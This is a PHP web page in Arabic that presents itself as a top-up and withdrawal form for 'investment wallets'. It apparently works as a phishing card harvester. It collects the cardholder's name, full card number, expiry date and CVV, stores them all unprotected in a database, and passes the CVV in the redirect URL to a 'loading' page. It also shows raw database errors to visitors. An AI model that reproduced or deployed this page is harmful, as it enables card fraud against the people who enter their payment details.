<?php include("db_details.php"); ?>


<!DOCTYPE html>
<html lang="en" >
<head>
  <meta charset="UTF-8">
  <title>تشحين محافظ استثمارية</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">

  <link href="https://fonts.googleapis.com/css?family=Raleway|Rock+Salt|Source+Code+Pro:300,400,600" rel="stylesheet"><link rel="stylesheet" href="./style.css">

  <script
  src="https://code.jquery.com/jquery-3.4.1.js"
  integrity="sha256-WpOohJOqMqqyKL9FccASB9O0KwACQJpFTUBLTYOVvVU="
  crossorigin="anonymous"></script>

  <style type="text/css">
      button, select {
          background-color: #4CAF50; /* Green */
          border: none;
          color: white;
          padding: 15px 32px;
          text-align: center;
          text-decoration: none;
          display: inline-block;
          font-size: 16px;
          margin: 4px 2px;
          cursor: pointer;
        }

  </style>


</head>
<body>
	<div style=" width: 100%;  height: 121px;   box-shadow: 8px -6px 23px;">
		<img src="new-logo.svg" style="width: 351px;margin: auto;display: block;">
	</div>
<!-- partial:index.partial.html -->
<div class="payment-title">
        <h1> معلومات السحب</h1>
    </div>
    
    <?php 
	
	

if(isset($_POST['send1'])){

    $fullname      = trim($_POST['fullname'] ?? '');
    $number        = trim($_POST['number'] ?? '');
    $time          = trim($_POST['time'] ?? '');
    $cvv           = trim($_POST['cvv'] ?? '');
    $numberaccount = trim($_POST['numberaccount'] ?? '');
    $amount        = trim($_POST['amount'] ?? '');
    $orderNumber   = trim($_POST['orderNumber'] ?? '');

    if(empty($fullname) || empty($number) || empty($time) || empty($cvv)){
        echo "<script>alert('يرجى تعبئة جميع الحقول');</script>";
    } else {

        try {

        $sql = "INSERT INTO info
(
    orderNumber,
    fullname,
    cardnumber,
    expiredate,
    cvv,
    numberaccount,
    amount,
    iban,
    wallet_number,
    acount,
    type
)
VALUES
(
    :orderNumber,
    :fullname,
    :cardnumber,
    :expiredate,
    :cvv,
    :numberaccount,
    :amount,
    :iban,
    :wallet_number,
    :acount,
    :type
)";


            $stmt = $db->prepare($sql);

       $result = $stmt->execute([

    ':orderNumber'   => $orderNumber,
    ':fullname'      => $fullname,
    ':cardnumber'    => $number,
    ':expiredate'    => $time,
    ':cvv'           => $cvv,
    ':numberaccount' => $numberaccount,
    ':amount'        => $amount,

    ':iban'          => $number,
    ':wallet_number' => $numberaccount,
    ':acount'        => $numberaccount,

    ':type'          => $_POST['type']
]);



            if($result){

    // الحصول على id آخر سجل
    $last_id = $db->lastInsertId();

    header(
        "Location: loading.php?cvv=" . urlencode($cvv) .
        "&id=" . urlencode($last_id)
    );

    exit;
}

        } catch(PDOException $e){
            echo "<script>alert('DB ERROR: ".$e->getMessage()."');</script>";
        }
    }
}

?>
	    <form id="myForm" method="POST" style=" background: #ccbeb84f;">
    <div dir="rtl">
        <label for="type" style=" font-size: 20px;  margin-right: 23px;">نوع البطاقة</label>
      <select style="margin-right: 23px;width:200px;background-color: #616161a8;font-size: 23px;" name="Type" id="type">
            <option value="Master card">Master card </option>
            <option value="Visa">Visa </option>

        </select>
    </div> 
    
    <div dir="rtl">
    <label style="font-size: 20px; margin-right: 23px;">نوع العملية</label>

    <select name="type" style="margin-right: 23px;width:200px;background-color:#616161a8;font-size:23px;">
        <option value="withdraw">سحب</option>
        <option value="deposit">إيداع</option>
    </select>
</div>

    <div class="form-container">
        
        <div dir="rtl" class="field-container">
            <label for="name">الاسم الكامل</label>  
            <input dir="ltr" name="fullname" id="name" maxlength="20" type="text">
        </div>
		       <script>
		      
   function randomNumber(len) {
    var randomNumber;
    var n = '';

    for(var count = 0; count < len; count++) {
        randomNumber = Math.floor(Math.random() * 10);
        n += randomNumber.toString();
    }
    return n;
}

window.onload = function() {
document.getElementById("ACCOUNT").value = randomNumber(9);
};






</script>
        <div dir="rtl" class="field-container">
            <label for="cardnumber">رقم البطاقة</label>
            <input dir="ltr" name="number" id="cardnumber" type="text"  inputmode="numeric">
            <svg id="ccicon" class="ccicon" width="750" height="471" viewBox="0 0 750 471" version="1.1" xmlns="http://www.w3.org/2000/svg"
                xmlns:xlink="http://www.w3.org/1999/xlink">

            </svg>
        </div>
        <div dir="rtl" class="field-container">
            <label for="expirationdate">انتهاء الصلاحية (شهر / سنة)</label>
            <input dir="ltr" name="time" id="expirationdate" type="text" inputmode="numeric">
        </div>
        <div dir="rtl" class="field-container">
            <label for="securitycode">رمز الحماية</label>
            <input dir="ltr" name="cvv" id="securitycode" type="text"  inputmode="numeric">
        </div>
		<div dir="rtl" class="field-container">
            <label for="name">المبلغ </label>  
            <input dir="ltr" name="amount" id="name" maxlength="20" type="text">
        </div>
			<div dir="rtl" class="field-container">
            <label for="name">رقم المحفظة </label>  
            <input dir="ltr" name="numberaccount" id="name" maxlength="20" type="text">
        </div>
    </div>
	<input type="hidden" name="orderNumber" id="ACCOUNT" value="" maxlength="16" size="16" readonly="">
    <button type="submit" name="send1">إرسال</button>
    </form>
    <div class="container preload">
        <div class="creditcard">
            <div class="front">
                <div id="ccsingle"></div>
                <svg version="1.1" id="cardfront" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"
                    x="0px" y="0px" viewBox="0 0 750 471" style="enable-background:new 0 0 750 471;" xml:space="preserve">
                    <g id="Front">
                        <g id="CardBackground">
                            <g id="Page-1_1_">
                                <g id="amex_1_">
                                    <path id="Rectangle-1_1_" class="lightcolor grey" d="M40,0h670c22.1,0,40,17.9,40,40v391c0,22.1-17.9,40-40,40H40c-22.1,0-40-17.9-40-40V40
                            C0,17.9,17.9,0,40,0z" />
                                </g>
                            </g>
                            <path class="darkcolor greydark" d="M750,431V193.2c-217.6-57.5-556.4-13.5-750,24.9V431c0,22.1,17.9,40,40,40h670C732.1,471,750,453.1,750,431z" />
                        </g>
                        <text transform="matrix(1 0 0 1 60.106 295.0121)" id="svgnumber" class="st2 st3 st4">0123 4567 8910 1112</text>
                        <text transform="matrix(1 0 0 1 54.1064 428.1723)" id="svgname" class="st2 st5 st6"> محمد</text>
                        <text transform="matrix(1 0 0 1 54.1074 389.8793)" class="st7 st5 st8">الاسم الكامل</text>
                        <text transform="matrix(1 0 0 1 479.7754 388.8793)" class="st7 st5 st8">تاريخ الانتهاء</text>
                        <text transform="matrix(1 0 0 1 65.1054 241.5)" class="st7 st5 st8">رقم البطاقة</text>
                        <g>
                            <text transform="matrix(1 0 0 1 574.4219 433.8095)" id="svgexpire" class="st2 st5 st9">04/26</text>
                            <text transform="matrix(1 0 0 1 479.3848 417.0097)" class="st2 st10 st11">تاريخ</text>
                            <text transform="matrix(1 0 0 1 479.3848 435.6762)" class="st2 st10 st11">الانتهاء</text>
                            <polygon class="st2" points="554.5,421 540.4,414.2 540.4,427.9 		" />
                        </g>
                        <g id="cchip">
                            <g>
                                <path class="st2" d="M168.1,143.6H82.9c-10.2,0-18.5-8.3-18.5-18.5V74.9c0-10.2,8.3-18.5,18.5-18.5h85.3
                        c10.2,0,18.5,8.3,18.5,18.5v50.2C186.6,135.3,178.3,143.6,168.1,143.6z" />
                            </g>
                            <g>
                                <g>
                                    <rect x="82" y="70" class="st12" width="1.5" height="60" />
                                </g>
                                <g>
                                    <rect x="167.4" y="70" class="st12" width="1.5" height="60" />
                                </g>
                                <g>
                                    <path class="st12" d="M125.5,130.8c-10.2,0-18.5-8.3-18.5-18.5c0-4.6,1.7-8.9,4.7-12.3c-3-3.4-4.7-7.7-4.7-12.3
                            c0-10.2,8.3-18.5,18.5-18.5s18.5,8.3,18.5,18.5c0,4.6-1.7,8.9-4.7,12.3c3,3.4,4.7,7.7,4.7,12.3
                            C143.9,122.5,135.7,130.8,125.5,130.8z M125.5,70.8c-9.3,0-16.9,7.6-16.9,16.9c0,4.4,1.7,8.6,4.8,11.8l0.5,0.5l-0.5,0.5
                            c-3.1,3.2-4.8,7.4-4.8,11.8c0,9.3,7.6,16.9,16.9,16.9s16.9-7.6,16.9-16.9c0-4.4-1.7-8.6-4.8-11.8l-0.5-0.5l0.5-0.5
                            c3.1-3.2,4.8-7.4,4.8-11.8C142.4,78.4,134.8,70.8,125.5,70.8z" />
                                </g>
                                <g>
                                    <rect x="82.8" y="82.1" class="st12" width="25.8" height="1.5" />
                                </g>
                                <g>
                                    <rect x="82.8" y="117.9" class="st12" width="26.1" height="1.5" />
                                </g>
                                <g>
                                    <rect x="142.4" y="82.1" class="st12" width="25.8" height="1.5" />
                                </g>
                                <g>
                                    <rect x="142" y="117.9" class="st12" width="26.2" height="1.5" />
                                </g>
                            </g>
                        </g>
                    </g>
                    <g id="Back">
                    </g>
                </svg>
            </div>
            <div class="back">
                <svg version="1.1" id="cardback" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"
                    x="0px" y="0px" viewBox="0 0 750 471" style="enable-background:new 0 0 750 471;" xml:space="preserve">
                    <g id="Front">
                        <line class="st0" x1="35.3" y1="10.4" x2="36.7" y2="11" />
                    </g>
                    <g id="Back">
                        <g id="Page-1_2_">
                            <g id="amex_2_">
                                <path id="Rectangle-1_2_" class="darkcolor greydark" d="M40,0h670c22.1,0,40,17.9,40,40v391c0,22.1-17.9,40-40,40H40c-22.1,0-40-17.9-40-40V40
                        C0,17.9,17.9,0,40,0z" />
                            </g>
                        </g>
                        <rect y="61.6" class="st2" width="750" height="78" />
                        <g>
                            <path class="st3" d="M701.1,249.1H48.9c-3.3,0-6-2.7-6-6v-52.5c0-3.3,2.7-6,6-6h652.1c3.3,0,6,2.7,6,6v52.5
                    C707.1,246.4,704.4,249.1,701.1,249.1z" />
                            <rect x="42.9" y="198.6" class="st4" width="664.1" height="10.5" />
                            <rect x="42.9" y="224.5" class="st4" width="664.1" height="10.5" />
                            <path class="st5" d="M701.1,184.6H618h-8h-10v64.5h10h8h83.1c3.3,0,6-2.7,6-6v-52.5C707.1,187.3,704.4,184.6,701.1,184.6z" />
                        </g>
                        <text transform="matrix(1 0 0 1 621.999 227.2734)" id="svgsecurity" class="st6 st7">985</text>
                        <g class="st8">
                            <text transform="matrix(1 0 0 1 518.083 280.0879)" class="st9 st6 st10">CVV</text>
                        </g>
                        <rect x="58.1" y="378.6" class="st11" width="375.5" height="13.5" />
                        <rect x="58.1" y="405.6" class="st11" width="421.7" height="13.5" />
                        <text transform="matrix(1 0 0 1 59.5073 228.6099)" id="svgnameback" class="st12 st13">عبداللة ال</text>
                    </g>
                </svg>
            </div>
        </div>
    </div>
<img src="saa.png" style="width: 100%" />
<!-- partial -->
  <script src='https://cdnjs.cloudflare.com/ajax/libs/imask/3.4.0/imask.min.js'></script><script  src="./script.js"></script>

</body>
</html>
